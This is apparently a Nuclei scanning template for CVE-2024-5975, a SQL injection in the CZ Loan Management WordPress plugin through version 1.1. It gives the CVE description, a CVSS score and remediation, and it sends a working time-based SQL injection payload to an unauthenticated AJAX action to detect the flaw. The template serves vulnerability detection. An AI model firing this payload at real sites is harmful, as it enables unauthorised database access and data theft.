Description
The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
id: CVE-2024-5975
info:
name: CZ Loan Management <= 1.1 - SQL Injection
author: s4e-io
severity: critical
description: |
The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
impact: |
Unauthenticated attackers can execute time-based SQL injection to extract sensitive database information including user credentials and loan management data.
remediation: |
Update CZ Loan Management plugin to version 1.2 or later to address the SQL injection vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-5975
- https://wpscan.com/vulnerability/68f81943-b007-49c8-be9c-d0405b2ba4cf/
- https://vuldb.com/?id.272929
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2024-5975
epss-score: 0.01958
epss-percentile: 0.79281
metadata:
vendor: team-contriverz
product: cz-loan-management
framework: wordpress
publicwww-query: "/wp-content/plugins/cz-loan-management"
tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,wp,cz-loan-management,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/cz-loan-management/README.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"CZ Loan Management")'
- "status_code == 200"
condition: and
internal: true
- raw:
- |
@timeout 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=cz_plugin_for_user_get_percentage&selectedperiod=(select*from(select(sleep(6)))a)
matchers:
- type: dsl
dsl:
- "duration>=6"
- 'contains(content_type,"text/html")'
- "status_code == 200"
condition: and
# digest: 4a0a00473045022100f5ce1218f0d69604ec4516dd8b5c3dde3a31b0cc59898c286b35efeb4717b75702202cd20bc2523ac8a2f9e35098a70434ac955f0cf2108b51d2be6dc4e0e952f902:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.